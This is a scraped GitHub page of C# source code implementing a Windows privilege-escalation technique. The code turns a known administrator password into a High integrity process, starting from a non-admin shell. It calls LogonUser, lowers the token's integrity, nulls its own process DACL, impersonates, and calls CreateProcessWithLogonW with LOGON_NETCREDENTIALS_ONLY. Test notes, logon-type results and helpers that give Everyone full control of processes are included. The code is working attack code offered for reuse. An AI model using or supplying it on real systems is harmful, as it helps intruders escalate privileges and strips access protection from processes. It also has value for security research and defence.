-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathTestCode2.cs
6574 lines (6137 loc) · 288 KB
/
TestCode2.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//
// "Ctrl+ M, O is your friend"
//
// Welcome to use any code or declares. Would appriciate it if referenced it back here:
// github.com/AltF5?tab=repositories
// https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs
//
// Uploaded for Antonio Cocomazzi (@splinter_code). This is his technique he described.
// https://twitter.com/splinter_code/status/1458054161472307204
//
// History:
// 11-9-21 - @winlogon0 Created this as described
// 11-10-21 - Fixed when consulting Antonio Cocomazzi (@splinter_code) whom mentioned that the domain (2nd parameter) has to have an argument "." NOT a null-string, NOR a blank "" string
//
// Tested as: Calling from Medium IL user not belonging to BUILTIN\Administrators group.
// See full test notes below in method: RunApp_UseAnotherAccountAdminPW_TestCode()
// And test calls for all logon rights at the end of that method: "// Tests performed"
//
//
// ** Future tests to do for this code **
// - On a Domain-joined PC
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Principal;
public class TestCode2
{
/// <summary>
/// Working
///
/// REQUIREMENTS:
/// 1. Knowning the password to an Administrator account on the machine
/// 2. The Admin user account or one of its groups does NOT belong to 'SeDenyNetworkLogonRight' (if using Network (3) or NetworkCleartext (8)) or 'SeDenyBatchLogonRight' (if using Batch (4))
/// 3. The Admin user acount or one of its groups DOES belong to 'SeNetworkLogonRight' (if using Network (3) or NetworkCleartext (8)) or 'SeBatchLogonRight' (if using Batch (4))
/// By default BUILTIN\Administrators is added to SeBatchLogonRight
/// By default BUILTIN\Users AND BUILTIN\Administrators is added to 'SeNetworkLogonRight'
/// Either will operate fine, since the account-to-run-as is an administrator to make this technique operate
///
///
/// Call this method from a Medium IL process where that user doesn't belong to BUILTIN\Administrators, either directly or indirectly (via another group memberhsip)
/// The resulting process will spawn as High IL w/ BUILTIN\Administrator group enabled,
///
/// This code is from this technique described
/// Antonio Cocomazzi @splinter_code solution to his Quiz in Nov 2021 - created by winlogon0 to test it
/// https://twitter.com/splinter_code/status/1458054161472307204
///
/// Code release & updated here
/// https://github.com/AltF5/MediumToHighIL_Test
///
/// My notes:
/// - This code assumes that the admin account (whos creds were supplied) has 'SeNetworkLogonRight' untampered with, that is still has BUILTIN\Users or BUILTIN\Administrators belonging to it
/// - This code deletes the DACL on the calling process, in order for CPWL to succeed without Access Denied
/// </summary>
/// <param name="fullCmdLine">Commandline / Application to execute</param>
/// <param name="adminAccountName">An account belonging to BUILTIN\Administrators</param>
/// <param name="pwToAdminAccount">Password for THAT admin account</param>
/// <param name="logonType">LogonType to perform. The following 3x logon types work out-of-the-box: Network (3), Batch (4), NetworkCleartext (8)</param>
/// <param name="closeProcessHandlesBeforeReturn">Should the created process handles be left open for the caller to close?</param>
/// <returns>Information about the created process, or a reason why not</returns>
public static ProcessCreateStatus RunApp_UseAnotherAccountAdminPW_TestCode(
string fullCmdLine,
string adminAccountName, string pwToAdminAccount,
LogonType logonType = LogonType.Network,
bool closeProcessHandlesBeforeReturn = true)
{
// Call via: TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe", "AdminAcct", "itsPW");
// Do this from running this code within an account NOT belonging to BUILTI\Administrators group (compmgmt.msc)
//
// Result: This creates a process as the other another user with the BUILTIN\Administrators Enabled (NOT Deny-Only) + High IL + the High IL Privileges expected like 'SeImpersonatePrivilege'
// The resulting process will have all privileges disabled except for 2x: ChangeNotify & CreateGlobal, however they atleast EXIST, and are ALLOWED to be enabled with Process Hacker
// unlike other cases that I've seen when lowering a process' integrity then sometimes some privileges wont be enablable (not the case here)
//
// See in cmd.exe, but better to verify with Process Hacker or Process Explorer
// whoami
// whoami /groups - Will return an error, but the groups are accurate as per Process Hacker
// whoami /priv
//
// Tests performed: (see end of this method)
ProcessCreateStatus ret = new ProcessCreateStatus();
// -- QUIZ --
// You landed on a machine and you have a shell as normal user(Medium IL).You know the password of one administrator of that machine, how you get a process as High IL?
// Contraint: Network stack not available No entry
// Bonus level: UACMe usage not allowed Smiling face with horns
// https://twitter.com/splinter_code/status/1457589164002643971
//
//
// -- Solution --
// LogonUser (Network)
// -> Set token IL to Medium
// -> Set Everyone FullControl on your current process DACL
// -> Impersonate
// -> CreateProcessWithLogon (LOGON_NETCREDENTIALS_ONLY) and specify the admin credentials. // <== KEY -- You have to use netcredentials_only flag or you won't get the high il with this trick ;)
// Enjoy High IL process with Interactive SID
SplitUserAndDomain(adminAccountName, out bool justUserSupplied, out string userOnly, out string domainIfSupplied);
if (justUserSupplied)
{
domainIfSupplied = null; // LogonUserA works fine with a NULL domain optional
}
//
// 1. User + PW --> hToken. LogonUser w/ Network (3). This token is not taken anywhere except for impersonating
//
// Any of these 3x logon types work (Service (5) also works but only if the user is added to the 'SeServiceLogonRight' in advance)
// Network (3)
// Batch (4)
// NetworkCleartext (8)
IntPtr hTokenOutput;
bool did = LogonUserA(userOnly, domainIfSupplied, pwToAdminAccount, (int)logonType, (int)LogonProvider_LogonUser.LOGON32_PROVIDER_DEFAULT, out hTokenOutput);
if (!did)
{
ret.Success = false;
ret.ErrorText = "LogonUser call failed: " + GetLastErrorInfo();
int bpHereError = 1;
}
else if (hTokenOutput == IntPtr.Zero)
{
ret.Success = false;
ret.ErrorText = "LogonUser was successful, but the token returned was NULL!";
}
else
{
// 1.5
//
// CreateProcessWithLogonW QUIRK - a NULL optional domain (DESPITE THE DOCUEMNTATION) - https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
// will absolutely NOT work when leveraging this API call with LOGON_NETCREDENTIALS_ONLY. The Domain MUST BE "." instead
//
if (domainIfSupplied == "" || domainIfSupplied == null) // domainIfSupplied = null if not supplied from the call to the string-support method: SplitUserAndDomain()
{
domainIfSupplied = "."; // CRITICALLY IMPORTANT TO MAKE 'CPWL w/ LOGON_NETCREDENTIALS_ONLY' work otherwise ERROR_INVALID_LOGON_TYPE
}
//
// 2. Lower this token Integrity to our integrity (assuming Medium)
//
bool didSetIL = SetTokenIntegrityLevel(hTokenOutput, IntegrityLevel.Medium);
if (!didSetIL)
{
Status("FYI -- Unable to change the IL to Medium!");
}
//
// 3. Prevent CPWTW from resulting in access denied. Required, otherwise CreateProcessWithLogonW w/ (LOGON_WITH_PROFILE -- different from originally described) = Access Denied (Error: 5)
//
bool didDeleteDACL = GrantEveryoneAccessToProcess(GetCurrentProcessId(), true); // Kill the DACL
//bool didGrantEveryone = GrantEveryoneAccessToProcess(GetCurrentProcessId(), false); // OR alternatively: Everyone : Full Control
if (!didDeleteDACL)
{
Status("FYI -- Unable to delete the DACL for [Self] (this process). CPWL will most likely result in Access Denied (5)");
}
//
// 4. Impersonate this token from LogonUser again
//
bool didImpersonate = ImpersonateLoggedOnUser(hTokenOutput); // <=========== TBD -- Doesn't seem to matter whether we do this or not, same result with LOGON_WITH_PROFILE (but that is different as originally described)
if(!didImpersonate)
{
Status("FYI -- ImpersonateLoggedOnUser failed! :: " + GetLastErrorInfo());
}
//
// 5. Execute! (using the same creds again)
//
PROCESS_INFORMATION pi;
STARTUPINFO_W si = new STARTUPINFO_W();
si.cb = Marshal.SizeOf(si);
StopWow64Redirection(true);
const int LOGON_WITH_PROFILE = 1; // This will only result in a Medium IL + Deny Admin group. Not desirable. Only for testing purposes
const int LOGON_NETCREDENTIALS_ONLY = 2; // But this is key according to @splinter_code - https://twitter.com/splinter_code/status/1458260294220845056. Also, this API is bugged and REQUIRES a "." in Domain for this to operate without error! Hat-Tip: @splinter_code
// Important Setup Requirement: The domain must ASBOLUTELY NOT BE a null-string. It MUST be the actual domain / ".". NOT NULL when utilizing LOGON_NETCREDENTIALS_ONLY, otherwise ERROR_INVALID_LOGON_TYPE
// Learned from @Spliter_Code: The domain can be specified all within the 1st user-only parameter.
// Future Test: Do this on a domain joined PC and see what occurs
// Sidenote: There is no need for the admin user to explictly belong to 'SeNetworkLogonRight' to have this work right here (tho that user or a group would for LogonUser w/ Network (3)
// Problem originally experiencing:
// When leveraging as 'LOGON_WITH_PROFILE' the result is NOT a High IL cmd.exe token after CreateProcessWithLogonW (CPWLW)... per my reply : twitter.com/winlogon0/status/1458233639548899331
// The process (executing as that user) does contain BUILTI\Administrators group, but it is DENY
//
// Problem was because of utiliizing the LOGON_WITH_PROFILE option, but I had to do this because the API is buggy, and I didn't know to have this hack-around to work, its expecting a "." in the 2nd parameter
//
// This is similar / related to James Forshaw @tiraniddo "Reading around UAC part 3" previously working, now patched way to abuse CreateProcessWithLogonW https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-3.html
// However we are leverage the knowledge of knowing an admin PW to to an "over-the-shoulder"-like elevation programmatically.
// "
// Normally the result of LogonUser can be used to create a new process.
// However as the elevated token is still in a separate logon session it won't work.
// There is however one place I know of that you can abuse this "feature", the Secondary Logon service and specifically the exposed CreateProcessWithLogon API.
// This API allows you to create a new process by first calling LogonUser (well really LsaLogonUser but anyway) and takes a LOGON_NETCREDENTIALS_ONLY flag which means we don't need permissions or need to know the password.
// "
bool didCreate = CreateProcessWithLogonW(userOnly, domainIfSupplied, pwToAdminAccount, // <======== ENSURE DOMAIN = "."
LOGON_NETCREDENTIALS_ONLY,
null, fullCmdLine,
(uint)CreationFlags.CREATE_NEW_CONSOLE | (uint)CreationFlags.CREATE_UNICODE_ENVIRONMENT,
IntPtr.Zero, null,
ref si,
out pi);
if (!didCreate)
{
ret.Success = false;
ret.ErrorText = "CPWLW failed: " + GetLastErrorInfo();
}
else
{
ret.Success = true;
ret.ProcessInfo = pi;
// Autoclose?
if (closeProcessHandlesBeforeReturn)
{
if (ret.ProcessInfo.hProcess != IntPtr.Zero)
{
CloseHandle(ret.ProcessInfo.hProcess);
ret.ProcessInfo.hProcess = IntPtr.Zero;
}
if (ret.ProcessInfo.hThread != IntPtr.Zero)
{
CloseHandle(ret.ProcessInfo.hThread);
ret.ProcessInfo.hThread = IntPtr.Zero;
}
}
}
StopWow64Redirection(false);
if (didImpersonate)
{
RevertToSelf();
}
}
return ret;
// ---------------------------------------------
// Tests performed
// ---------------------------------------------
//
// 4x Logon types that work with the LogonUserA Token (this token is impersonated, NOT passed to CreateProcessWithLogon)
// Network (3)
// Batch (4)
// NetworkCleartext (8)
// Service (5) IF AND ONLY IF the user or one of its groups belongs to 'SeServiceLogonRight'
//
// 2x other only spawn the process as a Medium IL
// Interactive (2) and Unlock (7) ONLY have the process spawn as Medium IL
//
// While the other 5x dont work with LogonUser with a PW
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.Network); // WORKS: High IL (original technique described)
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.Batch); // WORKS: High IL
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.CachedInteractive); // LogonUserA: Error invalid parameter
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.CachedRemoteInteractive_SameAsRemoteInteractive); // LogonUserA: Error invalid parameter
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.CachedUnlock); // LogonUserA: Error invalid parameter
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.Interactive); // Excutes but is a medium IL
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.NewCredentials); // Error: 1367, 0x557: ERROR_INVALID_LOGON_TYPE: A logon request contained an invalid logon type value"
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.NetworkCleartext); // WORKS: High IL
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.RemoteInteractive_RDP); // LogonUserA: Error invalid parameter
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.Service); // Has to be granted to a specific account and isn't by defualt. Works IF it is. Otherwise by default: Error: 1385, 0x569: ERROR_LOGON_TYPE_NOT_GRANTED: Logon failure: the user has not been granted the requested logon type at this computer"
//TestCode2.RunApp_UseAnotherAccountAdminPW_TestCode("cmd.exe /k whoami /priv", "Alt", "pw", TestCode2.LogonType.Unlock); // Excutes but is a medium IL (just like Interactive)
// ---------------------------------------------
// Notes - I have observed the following
// ---------------------------------------------
//
//
// 1.
// -- Privilege Value Observations --
// When leveraging with just 'LOGON_WITH_PROFILE' (NOT the technique described), this creates a Medium IL process + Admin group DENY-ONLY. However there are some privileges to note:
//
// Available privileges in token despite medium IL (IF MANUALLY ADDED via secpol.msc)
// If the Admin-group containing user is directly (or indirectly via group membership) manually added to LSA User Right Privileges, then the following Privileges will
// PERSIST, and ARE enabled via ProcessHacker, despite these should never belong in a Medium IL token
// [Notice no SeDebug, SeImpersonate, or SeTcb]
// All of these are enable-able as well (via ProcessHacker), despite only 2 being enabled by default: SeChangeNotify, SeCreateGlobal
//
// SeAssignPrimaryTokenPrivilege <== Interesting. Only SYSTEM usually has this, and needed for CreateProcessAsUser call
// SeAuditPrivilege
// SeChangeNotifyPrivilege
// SeCreateGlobalPrivilege
// SeCreatePagefilePrivilege
// SeCreatePermanentPrivilege
// SeCreateSymbolicLinkPrivilege
// SeEnableDelegationPrivilege
// SeIncreaseBasePriorityPrivilege
// SeIncreaseQuotaPrivilege
// SeIncreaseWorkingSetPrivilege
// SeLockMemoryPrivilege
// SeMachineAccountPrivilege
// SeManageVolumePrivilege
// SeProfileSingleProcessPrivilege
// SeRemoteShutdownPrivilege
// SeSecurityPrivilege <== Interesting
// SeShutdownPrivilege
// SeSyncAgentPrivilege
// SeSystemEnvironmentPrivilege
// SeSystemProfilePrivilege
// SeSystemtimePrivilege
// SeTimeZonePrivilege
// SeTrustedCredManAccessPrivilege
// SeUndockPrivilege
//
//
// Some of these above that are included (5x above), indeed are considered "special" (sensitive /privileged privileges) according to Event 4672 in the security Log:
// https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672
// - SeAssignPrimaryTokenPrivilege - Replace a process-level token
// - SeAuditPrivilege - Generate security audits
// - SeEnableDelegationPrivilege - Enable computer and user accounts to be trusted for delegation
// - SeSecurityPrivilege - Manage auditing and security log (ex: Deleting)
// - SeSystemEnvironmentPrivilege - Modify [UEFI] firmware environment values
//
//
// From the ones missing above (10x below), when the user-being-run-as is added to ALL privileges...
// This says to me that the Kernel believes the following are "Privileged" Privileges reserved ONLY for High+ IL callers no matter what (no Medium IL process can ever hold these in their token)
// - SeBackupPrivilege Bypass File & Reg 'Read' permissions to change a DACL
// - SeCreateTokenPrivilege NtCreateToken() calls
// - SeDebugPrivilege Bypass process open permissions in the DACL
// - SeDelegateSessionUserImpersonatePrivilege
// - SeImpersonatePrivilege ImpersonateLoggedOnUser(hToken) where hToken is of a higher IL than the current process or thread IL, and hToken is a Primary (impersonatable) token, NOT identity. This is how to get from High IL --> System IL / System user.
// - SeLoadDriverPrivilege Load a driver in the kernel
// - SeRelabelPrivilege Modify IL to higher on Files & Reg keys (not Tokens, which requires TCB to raise that)
// - SeRestorePrivilege Bypass File & Reg 'Write' permissions to change a DACL
// - SeTakeOwnershipPrivilege Bypass File & Reg DACL not allowing WRITE_OWNER
// - SeTcbPrivilege LsaLogonUser() group adding, Modify Token IL to higher, GetTokenInformation w/ TokenLinkedToken, some WTS APIs
//
// So certainly, there is a hierarchy of important here
// > Medium IL typically only get these 5x: SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege, SeShutdownPrivilege, SeTimeZonePrivilege, SeUndockPrivilege
// > Security Event ID 4672 consdiered 13x of the 15 privileges "special" (excludes: SeDelegateSessionUserImpersonatePrivilege & SeRelabelPrivilege)
// > The OS consided the above 10x to be "super special"
//
//
// 2.
// The window GUI border is thin/"classic" due to the Logon ID being not accurate for this Session (we are not using LsaLogonUser here to add a group, which needs TCB Priv for Group additions)
//
// 3.
// whoami error = "ERROR: Unable to get group membership information." (regardless of being elevated or not)
//
// When utilzing the correct technique 'LOGON_NETCREDENTIALS_ONLY' to gain High IL, Privs, and Admin group, then when executing the following in cmd.exe:
// whoami /groups it results in a weird error: "ERROR: Unable to get group membership information."
// However ProcessHacker confirms that the Groups are correct & as expected, including 'Mandatory Label\High Mandatory Level' (rather than Medium)
//
// Either whoami.exe is buggy due to this uncommon process setup, since its extremely uncommon to start a process this way,
// Note that this is NOT because of the process being elevated, because even when we LogonUser w/ Interactive (2) and impersonate that (again not passed to CreateProcessWithLogonW), it results in a Medium IL process, however
// whoami /groups still cannot fetch the group info without returning that same error
//
// OR something with the process is setup incorrectly
// The only differences in groups that I see is the lack of: LOCAL & NT AUTHORITY\NTLM Authentication
//
// [Future TBD]: API monitor returns from API calls leveraged by whoami.exe
//
// 4.
// Token differences noticed from ProcessHacker:
// - TokenSource = 'seclogo' w/ 0 as LUID VS 'User32' and some 0xHex value
// - UIAccess = Disabled (compard to Enabled for a High IL in another session)
// - Owner = BUILTIN\Administrators rather than the user itself
}
#region String Splitting Helper Methods
/// <summary>
/// Splits out the Username and Domain from Domain\User OR UPN Format: Test@Domain
/// If "." or "" is supplied for the domain, then the computername is returned. If no domain is supplied, then no domain is returned (will not assume the computer name)
/// </summary>
/// <param name="userOrDomainAndUser">Input: Domain\User or just User</param>
/// <param name="justUserSupplied">Output: Was just the username passed in</param>
/// <param name="userOnly">Output: User</param>
/// <param name="domainIfSupplied">Output: The domain supplied, or the translation to the computer name (Environment.MachineName) if "."\User or ""\User</param>
public static void SplitUserAndDomain(string userOrDomainAndUser, out bool wasJustUserSupplied, out string userOnly, out string domainIfSupplied)
{
//
// Example call:
// string userOnly = user_OrUserAndDomain;
// string domainIfSupplied = "";
// bool justUserSupplied;
// SplitUserAndDomain(user_OrUserAndDomain, out justUserSupplied, out userOnly, out domainIfSupplied);
//
// if (!wasJustUserSupplied)
// {
// user_OrDomainAndUser = domainIfSupplied + "\\" + userOnly; // Reassemble
// }
userOnly = userOrDomainAndUser;
domainIfSupplied = "";
wasJustUserSupplied = !userOrDomainAndUser.Contains("\\") && !userOrDomainAndUser.Contains("@");
if (wasJustUserSupplied)
{
// userOnly will be accurate
}
else
{
if (userOrDomainAndUser.Contains("\\"))
{
//
// Typical case:
//
// If the domain was supplied then split out the Domain \ User from the input
string[] split = userOrDomainAndUser.Split('\\');
if (split.Length == 1)
{
userOnly = split[0].Trim();
}
else if (split.Length >= 2)
{
domainIfSupplied = split[0].Trim();
userOnly = split[1].Trim();
// Allow "." as input to refer to the current computer (for local accounts)
if (string.IsNullOrWhiteSpace(domainIfSupplied) || domainIfSupplied.Trim() == ".")
{
domainIfSupplied = Environment.MachineName;
}
}
}
else if (userOrDomainAndUser.Contains("@"))
{
//
// UPN Case:
//
string[] split = userOrDomainAndUser.Split('@');
if (split.Length == 1)
{
userOnly = split[0].Trim();
}
else if (split.Length >= 2)
{
domainIfSupplied = split[1].Trim(); // Domain is 2nd instead of first
userOnly = split[0].Trim();
}
}
}
}
public static void SplitWindowStationAndDesktop(string windowStationAndDesktop, out string wsName, out string desktopName)
{
wsName = "WinSta0";
desktopName = "Default";
string[] tokens = windowStationAndDesktop.Split('\\');
if (tokens.Length == 1)
{
desktopName = tokens[0];
}
else if (tokens.Length >= 2)
{
wsName = tokens[0];
desktopName = tokens[1];
}
if (string.IsNullOrWhiteSpace(desktopName))
{
desktopName = "Default"; // Default back to "Default"
}
}
#endregion
#region Security methods (Everyone : Full Control or DACL deleting)
/// <summary>
/// Switches the Owner to Everyone, and adds Everyone = Full Control to a Process - Tested and Working - 9-16-19
/// Just needs to be able to open the key with WRITE_DAC (modify the DACL) and READ_CONTROL (to read existing DACL)
/// If only WRITE_DAC can be granted or justKillTheDacl = true, or something fails along the way, then the DACL is completely removed (set to NULL = not initialized = no security at all)
/// </summary>
public static bool GrantEveryoneAccessToProcess(int PID, bool justKillTheDacl = false, bool alsoSetOwnerToEveryone = false)
{
bool success = true;
IntPtr hHandle = IntPtr.Zero;
bool didAddEveryoneAce = false;
if (!justKillTheDacl)
{
if (alsoSetOwnerToEveryone)
{
// 1 - Open to just set owner : WRITE_OWNER + READ_CONTROL -- READ_CONTROL needed to read the current DACL
// SetObjectOwner enables SeRestorePrivilege internally: "The following access rights are granted if this privilege is held: WRITE_DAC WRITE_OWNER ACCESS_SYSTEM_SECURITY FILE_GENERIC_WRITE FILE_ADD_FILE FILE_ADD_SUBDIRECTORY DELETE"
hHandle = OpenProcess((int)ACCESS_MASK.WRITE_OWNER | (int)ACCESS_MASK.READ_CONTROL, false, PID);
bool didSet = false;
if (hHandle != IntPtr.Zero)
{
didSet = SetObjectOwner(hHandle, System.Security.Principal.WellKnownSidType.WorldSid); // Owner = Everyone
CloseHandle(hHandle);
}
}
hHandle = IntPtr.Zero; // Reset
// 2 - Do again, but now open to modify the DACL (WRITE_DAC) + READ_CONTROL, which is neccessary for AddPermissionsToObject to call GetKernelObjectSecurity to get the current DACL
hHandle = OpenProcess((int)ACCESS_MASK.WRITE_DAC | (int)ACCESS_MASK.READ_CONTROL, false, PID); // calls CreateFile to open the file
if (hHandle != IntPtr.Zero)
{
// Everyone = Full Control (PROCESS_ALL_ACCESS)
int fullControlAccessRightsToGrant = (int)ProcessAccessFlags.All;
didAddEveryoneAce = AddPermissionsToObject(hHandle, fullControlAccessRightsToGrant, true, System.Security.Principal.WellKnownSidType.WorldSid);
CloseHandle(hHandle);
success = didAddEveryoneAce;
}
}
// If failed to add the Everyone ACE to the DACL, or it couldn't even be opened, just try to open it with WRITE_DAC, and kill the whole security descriptor
if (justKillTheDacl || !didAddEveryoneAce || hHandle == IntPtr.Zero)
{
hHandle = OpenProcess((int)ACCESS_MASK.WRITE_DAC, false, PID);
bool didEliminateAllSecurity = AddBlankPermissionsToObject(hHandle);
CloseHandle(hHandle);
success = didEliminateAllSecurity;
}
return success;
}
/// <summary>
/// CAUTION!!!!!!!!!!!!!!!!!!!!
/// Feb 2021 : Do not add a blank DACL to a Desktop NT Object Directory. Handles appear OK without problem. If this is cleared from the Desktop the many apps like Chrome crash over and over until a reboot is performed
/// So basically ensure setObjectDirectlyAlso = false!!!!!!
///
/// Replaces the object's Security Descriptor's DACL (not the whole SD) with a new that that has is NULL DACL (Not initialized). -- This does not appear to be possible in the Windows ACL Editor
/// Notice: This is not the same as Blank.A Blank DACL (DACL is initalized and Deny everyone) -- This is what can be done in the Windows ACL Editor
/// NULL DACL = ANY access, by ANYONE -- Similar to Everyone/World : Full Control
/// This can only be done on one object at a time. For Files / Directories, this would need to be done recursively, since only Trustee ACE's are inherited, not an entire DACL
///
/// Handle MUST have been opened with at least WRITE_DAC information. Ideally also with WRITE_OWNER, since the owner is attempted to be changed to Everyone (World) first
///
/// Calls SetKernelObjectSecurity, which does work for Files and Directories
///
/// The Windows ACL Editor will show the following when an object's DACL is null "No permissions have been assigned for this object. Warning: this is a potential security risk because anyone who can access this object can take ownership of it. The object’s owner should assign permissions as soon as possible."
///
/// </summary>
public static bool AddBlankPermissionsToObject(IntPtr objectHandle, bool callingMultipleTimesNow = false, bool setObjectDirectlyAlso_USE_EXTREME_CAUTION = false)
{
//if (!callingMultipleTimesNow)
//{
// AddBlankPermissionsToObject_DidEnableRestore = false;
//}
//else if (callingMultipleTimesNow && !AddBlankPermissionsToObject_DidEnableRestore)
//{
// // Determine if this thread has a token
// bool isMyThreadImpersonating = DoesThisThreadHaveAToken();
//
// // REQUIRED - enable SeRestorePrivilege privilege to set the owner on an object
// // This is not mentioned on the SECURITY_INFORMATION documentation. The only API I see it on is here
// // SetNamedSecurityInfo - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379579(v=vs.85).aspx
// // "If the caller does not have the SeRestorePrivilege constant (see Privilege Constants), this SID must be contained in the caller's token, and must have the SE_GROUP_OWNER permission enabled."
//
// string ownerSetPrivilegeName = "SeRestorePrivilege";
// if (isMyThreadImpersonating)
// {
// EnableThreadPrivilege(ownerSetPrivilegeName); // If this thread is impersonating, then the Thread privilege will be sufficient (if its available)
// }
// else
// {
// EnableProcessPrivilege(ownerSetPrivilegeName); // Also enable on the procsss (if its not in the impersonating thread (it should always), but it is in the process, it will still work
// }
//
// AddBlankPermissionsToObject_DidEnableRestore = true;
//}
SecurityIdentifier everyoneSID = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
// Try first setting the object owner:
var sd = new RawSecurityDescriptor(ControlFlags.None, null, null, null, null);
sd.Owner = everyoneSID;
bool setOwner = SetObjectOwner(objectHandle, sd);
// Blank (NULL DACL) - No ACLs set in the Permissions List.
// In many ways this is better than adding in Everyone, because this is simply ANY access by ANYONE
sd = new RawSecurityDescriptor(ControlFlags.DiscretionaryAclPresent, null, null, null, null);
// API: SetKernelObjectSecurity
bool success = SetObjectSecurity(
objectHandle,
sd,
setObjectDirectlyAlso: setObjectDirectlyAlso_USE_EXTREME_CAUTION);
return success;
// C++ way purely with Windows API:
// https://docs.microsoft.com/en-us/windows/desktop/secauthz/creating-a-security-descriptor-for-a-new-object-in-c--
// AllocateAndInitializeSid for Everyone, BUILTIN\Administrators, EXPLICIT_ACCESS structure, LocalAlloc for SECURITY_DESCRIPTOR_MIN_LENGTH,
